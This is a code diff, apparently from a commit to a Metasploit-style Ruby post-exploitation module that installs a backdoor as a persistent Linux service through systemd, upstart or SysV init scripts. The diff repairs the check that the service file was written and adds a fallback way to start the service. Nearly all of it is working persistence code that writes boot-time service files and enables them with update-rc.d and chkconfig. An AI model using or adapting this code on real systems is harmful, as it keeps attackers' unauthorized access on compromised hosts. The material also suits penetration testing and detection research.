@@ -147,9 +147,10 @@ def systemd(backdoor_path, backdoor_file)
147
147
WantedBy=multi-user.target}
148
148
149
149
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
150
- vprint_status ( "Writing service: /lib/systemd/system/#{ service_filename } .service" )
151
- write_file ( "/lib/systemd/system/#{ service_filename } .service" , script )
152
- if !file_exist? ( backdoor )
150
+ service_name = "/lib/systemd/system/#{ service_filename } .service"
151
+ vprint_status ( "Writing service: #{ service_name } " )
152
+ write_file ( service_name , script )
153
+ if !file_exist? ( service_name )
153
154
print_error ( 'File not written, check permissions.' )
154
155
return
155
156
end
@@ -174,9 +175,10 @@ def upstart(backdoor_path, backdoor_file, runlevel)
174
175
respawn limit unlimited}
175
176
176
177
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
177
- vprint_status ( "Writing service: /etc/init/#{ service_filename } .conf" )
178
- write_file ( "/etc/init/#{ service_filename } .conf" , script )
179
- if !file_exist? ( backdoor )
178
+ service_name = "/etc/init/#{ service_filename } .conf"
179
+ vprint_status ( "Writing service: #{ service_name } " )
180
+ write_file ( service_name , script )
181
+ if !file_exist? ( service_name )
180
182
print_error ( 'File not written, check permissions.' )
181
183
return
182
184
end
@@ -219,7 +221,8 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
219
221
echo \" Already started\"
220
222
else
221
223
echo \" Starting $name\"
222
- cd \" $dir\" }
224
+ cd \" $dir\"
225
+ }
223
226
224
227
if has_updatercd
225
228
script << " sudo $cmd >> \" $stdout_log\" 2>> \" $stderr_log\" &\n "
@@ -283,18 +286,23 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
283
286
exit 0}
284
287
285
288
service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
286
- vprint_status ( "Writing service: /etc/init.d/#{ service_filename } " )
287
- write_file ( "/etc/init.d/#{ service_filename } " , script )
288
- if !file_exist? ( backdoor )
289
+ service_name = "/etc/init.d/#{ service_filename } "
290
+ vprint_status ( "Writing service: #{ service_name } " )
291
+ write_file ( service_name , script )
292
+ if !file_exist? ( service_name )
289
293
print_error ( 'File not written, check permissions.' )
290
294
return
291
295
end
292
- cmd_exec ( "chmod 755 /etc/init.d/ #{ service_filename } " )
296
+ cmd_exec ( "chmod 755 #{ service_name } " )
293
297
vprint_status ( 'Enabling & starting our service' )
294
298
if has_updatercd
295
299
cmd_exec ( "update-rc.d #{ service_filename } defaults" )
296
300
cmd_exec ( "update-rc.d #{ service_filename } enable" )
297
- cmd_exec ( "service #{ service_filename } start" )
301
+ if file_exist? ( '/usr/sbin/service' ) # some systems have update-rc.d but not service binary, have a fallback just in case
302
+ cmd_exec ( "service #{ service_filename } start" )
303
+ else
304
+ cmd_exec ( "/etc/init.d/#{ service_filename } start" )
305
+ end
298
306
else # CentOS
299
307
cmd_exec ( "chkconfig --add #{ service_filename } " )
300
308
cmd_exec ( "chkconfig #{ service_filename } on" )
0 commit comments